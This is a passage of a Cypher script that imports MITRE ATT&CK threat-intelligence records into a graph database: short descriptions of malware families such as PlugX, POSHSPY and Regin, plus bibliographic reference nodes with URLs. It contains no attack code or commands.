kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85", external_references:["42bfb4e6-5bae-41d6-a655-15a5d3559fa3", "1e5c679c-17b5-47d2-bbf8-b109e30c537c"]}}, {_id:10566, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"POSHSPY\"],\"x_mitre_version\":\"1.1\"}", description:"[POSHSPY](https://attack.mitre.org/software/S0150) is a backdoor that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"POSHSPY", modified:"2019-04-24T23:41:39.925Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--5e595477-2e78-4ce7-ae42-e0b059b17808", external_references:["4d132b2d-1e6e-4407-bb47-6de9a6b36ebd", "1229deb5-18b7-4c87-86ea-b4bf8f263993", "628da886-3705-4d5c-bebc-5e8c16ee5e42"]}}, {_id:10576, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"POWERSTATS\",\"Powermud\"],\"x_mitre_version\":\"2.0\"}", description:"[POWERSTATS](https://attack.mitre.org/software/S0223) is a PowerShell-based first stage backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Unit 42 MuddyWater Nov 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"POWERSTATS", modified:"2019-04-22T22:36:52.629Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--e8545794-b98c-492b-a5b3-4b5a02682e37", external_references:["491de1cf-dfd7-460c-b230-ea45f988344d", "1235b8d2-6a90-4dd9-99cd-cf25b82497f0", "95f8c248-bb6c-4d2c-a2e8-5ea47a184f12", "e0802b2c-962f-42e1-980e-dbb28580b2ba", "32698acd-b6d9-49a2-a082-92fa4bb194e6", "a4208d51-877b-4f8f-ae5f-7d471b912c4d"]}}, {_id:10583, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-16T17:43:42.724Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"POWERTON\"]}", description:"[POWERTON](https://attack.mitre.org/software/S0371) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://attack.mitre.org/groups/G0064). At least two variants of the backdoor have been identified, with the later version containing improved functionality.(Citation: FireEye APT33 Guardrail)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"POWERTON", modified:"2019-04-22T19:59:21.380Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", external_references:["2367daae-4b6d-480b-b0e0-6f42364415af", "527d5980-79da-468f-a6f3-7fcfb88fb63f"]}}, {_id:10586, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"POWRUNER\"],\"x_mitre_version\":\"1.0\"}", description:"[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"POWRUNER", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", external_references:["b1930a16-2c8c-4884-8908-dac92abb3e3d", "0de98473-399f-4077-8806-4d2a5972f327", "49f531cb-75f7-43cc-b7c9-bb34c52fa16a"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:malware:SDO;
UNWIND [{_id:10590, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"PUNCHBUGGY\",\"ShellTea\"],\"x_mitre_version\":\"2.0\"}", description:"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"PUNCHBUGGY", modified:"2019-06-28T20:48:52.186Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", external_references:["a6b09b34-b689-408e-aa42-06f0a364138e", "cc3fb1b2-7530-49df-aec9-781933b04589", "c4957316-a7ae-473c-9430-88e55714bdb4", "3852442d-30d5-4395-954c-7f8d9e9ba208", "f6d81f88-2ede-4993-8300-4f644af3cafe", "69ae9a8b-612e-442c-b285-642e0f60efc8"]}}, {_id:10615, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:15.638Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"PlugX\",\"DestroyRAT\",\"Sogu\",\"Kaba\",\"Korplug\"],\"x_mitre_version\":\"2.0\"}", description:"[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) that uses modular plugins. It has been used by multiple threat groups. (Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"PlugX", modified:"2019-04-19T15:08:15.613Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", external_references:["f6dd1176-a4a2-4a50-bd82-8c96250ba577", "d364ebe0-6f80-411c-9589-91316963825b", "dbf42a5e-b03b-4a5e-8c13-2ef864a73f18", "21b745cd-d8f8-4527-bf81-3a2ffa878469", "f3a348e9-6a56-4230-a3c2-1a411701a16c", "f604afab-cb90-4b86-97ec-3c86e6011a92", "7a8bfd81-d668-4b16-a99b-27112945c2af", "eb38af35-dcf4-4076-bf9f-6ebad92eed78", "58329bc6-55c5-4322-983b-ed613059ffe3", "197570ab-0c20-42eb-b190-b25e569ae9a8", "4a3f7fbb-2b66-4ea3-a7ff-2face18394c5"]}}, {_id:10627, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:15.263Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"PoisonIvy\",\"Poison Ivy\",\"Darkmoon\"],\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Darren Spruell\"]}", description:"[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"PoisonIvy", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--b42378e0-f147-496f-992a-26a49705395b", external_references:["1d131d28-7436-4127-a9aa-a793d559432a", "8fba8dcf-3617-4dd5-a717-621c21345e98", "82dfc788-ab25-4590-9cfd-34f19e7f6f4d", "00de8986-2480-4a7c-91a8-3c1b7733f0cb", "d79bff79-a3b3-49c6-b0e5-fca396aa1930", "67207d58-2005-4be3-9081-d2b9d9b151b0", "f476ffb7-cc2d-443c-ad00-e47de82ced9e", "d5f72f9e-c090-4d4c-9530-b632d35fd7b9"]}}, {_id:10644, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-21T17:23:27.855Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"PowerStallion\"],\"x_mitre_version\":\"1.0\"}", description:"[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1086) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"PowerStallion", modified:"2019-07-14T21:02:01.124Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", external_references:["f15e38b5-aefa-4d5a-93b1-549b1f0a5567", "e2a6a501-7bba-4169-8b48-9f188e618086"]}}, {_id:10647, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:07.943Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Prikormka\"],\"x_mitre_version\":\"1.1\"}", description:"[Prikormka](https://attack.mitre.org/software/S0113) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Prikormka", modified:"2019-07-26T20:45:13.639Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", external_references:["2dac54cc-f9aa-408a-81a8-8fb457177167", "a1500aa7-3038-4071-9253-628d90c85ba4"]}}, {_id:10650, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_aliases\":[\"Proton\"],\"x_mitre_version\":\"1.0\"}", description:"[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access  (Citation: objsee mac malware 2017).", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Proton", modified:"2019-06-24T19:03:52.505Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", external_references:["1bc8e211-1a2b-4cd1-9b85-12e9f0012166", "fd778c23-d3aa-465c-a887-21d7def1603f", "18b6f727-2ac1-45cd-97c1-2c41ab99ced8"]}}, {_id:10658, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:53.268Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Psylo\"],\"x_mitre_version\":\"1.0\"}", description:"[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Psylo", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", external_references:["439828e2-2cf8-4595-8732-3bda9ec77144", "1d5b5623-6376-4332-a8af-924f76f3549a"]}}, {_id:10664, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"QUADAGENT\"],\"x_mitre_version\":\"1.0\"}", description:"[QUADAGENT](https://attack.mitre.org/software/S0269) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: Unit 42 QUADAGENT July 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"QUADAGENT", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", external_references:["ee46ae21-c1c7-44a7-b61a-b1a1ba1d334c", "694355bd-693a-4b3c-bdcd-e9646f263b1e", "ac351d0c-4cc3-4d75-b6c2-18a2cb32d830"]}}, {_id:10671, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"RATANKBA\"],\"x_mitre_version\":\"1.0\"}", description:"[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"RATANKBA", modified:"2019-05-03T16:54:32.964Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", external_references:["70f628c6-c90d-4a78-a853-fe9d5e5d2edb", "a6114c19-557a-4e13-82fb-b726bfb9c3fd", "b8fed507-f9ab-4282-af9e-bedb003b66f1"]}}, {_id:10688, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"ROKRAT\"],\"x_mitre_version\":\"2.0\"}", description:"[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067). This software has been used to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) used ROKRAT during several campaigns in 2016 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Group123)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"ROKRAT", modified:"2019-07-26T22:56:57.409Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", external_references:["6efa4643-8f61-4b4b-a6d2-418c5af85525", "ba1f4a46-7f97-47d2-adf9-9bf0dcd70dc5", "f2f285b8-a020-4e20-8a64-eddf6d7679d9", "83c8cad9-c6ff-4570-8c21-0b3a044bb2f0", "59b44222-58bd-4571-aa37-1c34e6b6e73c"]}}, {_id:10694, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:26.565Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"RTM\"],\"x_mitre_version\":\"1.0\"}", description:"[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). (Citation: ESET RTM Feb 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"RTM", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", external_references:["a109b712-7d00-4007-8d17-d5f7eef68a89", "0403954a-6aa9-4c0b-b347-d1aa56d2c6cf"]}}, {_id:10697, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"RawPOS\",\"FIENDCRY\",\"DUEBREW\",\"DRIFTWOOD\"],\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Walker Johnson\"]}", description:"[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"RawPOS", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--9752aef4-a1f3-4328-929f-b64eb0536090", external_references:["f74e12f6-dbab-4a1e-ace8-bb3dae831dcd", "40f90451-388b-4545-9966-2850bb45aac3", "123f75b1-930d-4243-b716-8b3ae77b1c23", "16ffea7b-48cf-4bb5-b8da-4155a688994d", "18a6c945-3773-4cda-9f31-068f0b14f2bc", "f9d1a891-061b-4a66-ba8f-9b8eeccfd6d1", "03a728d6-48e1-426a-b944-29b439120990", "d2808018-be68-4fba-aef2-cd07b6072323", "68c046f0-f3b1-472e-b309-b09ae356fb22", "07c0f387-201e-43e6-b432-06664c645dfe", "d5a2a364-2b6a-445e-8ee4-130eebb595c6"]}}, {_id:10720, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:17.959Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Regin\"],\"x_mitre_version\":\"1.0\"}", description:"[Regin](https://attack.mitre.org/software/S0019) is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some [Regin](https://attack.mitre.org/software/S0019) timestamps date back to 2003. (Citation: Kaspersky Regin)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Regin", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", external_references:["0d9a2f10-3174-44b8-9ab8-9c0d2b26c5a0", "b981738e-4a1e-441f-961d-f0cca13ba385"]}}, {_id:10723, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-17T19:18:00.270Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"Remexi\"]}", description:"[Remexi](https://attack.mitre.org/software/S0375) is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Remexi", modified:"2019-04-22T20:18:06.862Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", external_references:["b6cc92bd-59c6-4745-9b3e-f66a5d702dfe", "1bd63566-f6c0-4ca7-9fc4-5d6e14d621ba"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:malware:SDO;
UNWIND [{_id:866, properties:{hashes:[], description:"", external_id:"T1118", external_reference_id:"8ca146af-23a6-475a-b42b-68d76172d0be", url:"https://attack.mitre.org/techniques/T1118", source_name:"mitre-attack"}}, {_id:888, properties:{hashes:[], description:"Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", external_id:"", external_reference_id:"8260bdfb-785b-40a5-acf2-787c59ca9cbb", url:"https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", source_name:"Linux Kernel Programming"}}, {_id:893, properties:{hashes:[], description:"Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.", external_id:"", external_reference_id:"8f219385-abc0-4a42-816c-9e4914373670", url:"https://github.com/m0nad/Diamorphine", source_name:"GitHub Diamorphine"}}, {_id:894, properties:{hashes:[], description:"Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.", external_id:"", external_reference_id:"512ce582-39a6-4f40-bb92-0795747be17a", url:"http://www.megasecurity.org/papers/Rootkits.pdf", source_name:"iDefense Rootkit Overview"}}, {_id:909, properties:{hashes:[], description:"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", external_reference_id:"9da3e41d-c7d3-4365-83a2-910b75cb0830", external_id:"", source_name:"Malware Persistence on OS X", url:"https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf"}}, {_id:914, properties:{hashes:[], description:"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", external_reference_id:"10d0f32d-8dc2-4ed7-9e89-cb0607145835", external_id:"", source_name:"Methods of Mac Malware Persistence", url:"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"}}, {_id:920, properties:{hashes:[], description:"Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", external_id:"", external_reference_id:"44ba83e1-0e6c-4f3c-a5b9-74aa6f4aaa0d", url:"https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html", source_name:"byt3bl33d3r NTLM Relaying"}}, {_id:921, properties:{hashes:[], description:"Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", external_id:"", external_reference_id:"5b6f2081-2abb-4ab0-9ac3-d12e2dcf775c", url:"https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html", source_name:"Secure Ideas SMB Relay"}}, {_id:922, properties:{hashes:[], description:"Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.", external_id:"", external_reference_id:"2b23558e-dbef-4eb4-8eeb-1f1e4f9a2b49", url:"https://github.com/nomex/nbnspoof", source_name:"GitHub NBNSpoof"}}, {_id:926, properties:{hashes:[], description:"Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.", external_id:"", external_reference_id:"27734809-4ab8-4b8e-a641-2217354cff58", url:"https://github.com/Kevin-Robertson/Conveigh", source_name:"GitHub Conveigh"}}, {_id:1209, properties:{hashes:[], description:"Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", external_id:"", external_reference_id:"7ccb2540-b624-4146-a9fa-63351c943f2b", url:"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest", source_name:"Microsoft AZ CLI"}}, {_id:1214, properties:{hashes:[], description:"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", external_id:"", external_reference_id:"c30320ca-a585-40ad-831f-d52f40dd15c8", url:"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", source_name:"Sofacy Komplex Trojan"}}, {_id:1219, properties:{hashes:[], description:"", external_id:"T1205", external_reference_id:"8e9bca2a-9d0f-498e-b539-359fb0e55ae1", url:"https://attack.mitre.org/techniques/T1205", source_name:"mitre-attack"}}, {_id:1226, properties:{hashes:[], description:"Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.", external_id:"", external_reference_id:"c2c0dd9a-63ba-4637-89ad-451963db6b39", url:"http://msdn.microsoft.com/en-us/library/dd183341", source_name:"AddMonitor"}}, {_id:996, properties:{hashes:[], description:"", external_id:"CAPEC-177", external_reference_id:"68531f17-2de5-4f83-a2dc-af54c92386ad", source_name:"capec", url:"https://capec.mitre.org/data/definitions/177.html"}}, {_id:1173, properties:{hashes:[], description:"Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.", external_id:"", external_reference_id:"b6edce4b-2e36-4121-badc-be6546912dc8", url:"http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", source_name:"Campbell 2014"}}, {_id:855, properties:{hashes:[], description:"", external_id:"T1130", external_reference_id:"94842780-a61f-44b4-8684-54ac8ae8a881", url:"https://attack.mitre.org/techniques/T1130", source_name:"mitre-attack"}}, {_id:856, properties:{hashes:[], description:"", external_id:"CAPEC-479", external_reference_id:"6eb27de5-bb43-40b4-ac1d-4d82cdabb094", source_name:"capec", url:"https://capec.mitre.org/data/definitions/479.html"}}, {_id:857, properties:{hashes:[], description:"Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.", external_reference_id:"3af18be9-4840-45ec-8bda-4d78df5c970d", external_id:"", source_name:"Wikipedia Root Certificate", url:"https://en.wikipedia.org/wiki/Root_certificate"}}, {_id:858, properties:{hashes:[], description:"Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.", external_id:"", external_reference_id:"d2913bbf-1556-4416-b6d8-4ab7e112f8a0", url:"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", source_name:"Operation Emmental"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:859, properties:{hashes:[], description:"Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.", external_id:"", external_reference_id:"f5d97881-586a-403a-8f6e-050d5262b15f", url:"https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/", source_name:"Kaspersky Superfish"}}, {_id:997, properties:{hashes:[], description:"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", external_id:"", external_reference_id:"0551aab5-6e69-484e-901e-ccfc32541015", url:"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", source_name:"FireEye APT10 Sept 2018"}}, {_id:860, properties:{hashes:[], description:"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", external_reference_id:"9003366a-7959-4c06-9c2f-60b8dc341931", external_id:"", source_name:"SpectorOps Code Signing Dec 2017", url:"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"}}, {_id:861, properties:{hashes:[], description:"Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.", external_reference_id:"27b0e7e3-01a4-4b6d-8408-ac4c7b574544", external_id:"", source_name:"objective-see ay mami 2018", url:"https://objective-see.com/blog/blog_0x26.html"}}, {_id:1183, properties:{hashes:[], description:"Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.", external_reference_id:"1faaa541-ff5e-4cf9-96d2-a8ff5129b254", external_id:"", source_name:"Superuser Linux Password Policies", url:"https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu"}}, {_id:1253, properties:{hashes:[], description:"Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The Masked APT. Retrieved July 5, 2017.", external_id:"", external_reference_id:"976e862c-6a58-4d21-9ffa-2a26b7d6bf26", url:"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf", source_name:"Kaspersky Careto"}}, {_id:1258, properties:{hashes:[], description:"", external_id:"CAPEC-573", external_reference_id:"1a7cef19-062e-49ca-9f98-8d1c9263bbd2", source_name:"capec", url:"https://capec.mitre.org/data/definitions/573.html"}}, {_id:1261, properties:{hashes:[], description:"", external_id:"T1186", external_reference_id:"f1148b7f-0d47-4554-b89e-17b244512b91", url:"https://attack.mitre.org/techniques/T1186", source_name:"mitre-attack"}}, {_id:1262, properties:{hashes:[], description:"Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.", external_id:"", external_reference_id:"4fb39263-0ac0-4e2d-b0a1-e14460e68ab1", url:"https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx", source_name:"Microsoft TxF"}}, {_id:1263, properties:{hashes:[], description:"Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.", external_reference_id:"13312d15-8032-4656-b848-6b9bd5b215d9", external_id:"", source_name:"Microsoft Basic TxF Concepts", url:"https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"}}, {_id:1264, properties:{hashes:[], description:"Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.", external_reference_id:"e82c1072-5c4d-47f2-a8ad-61f2bfee5623", 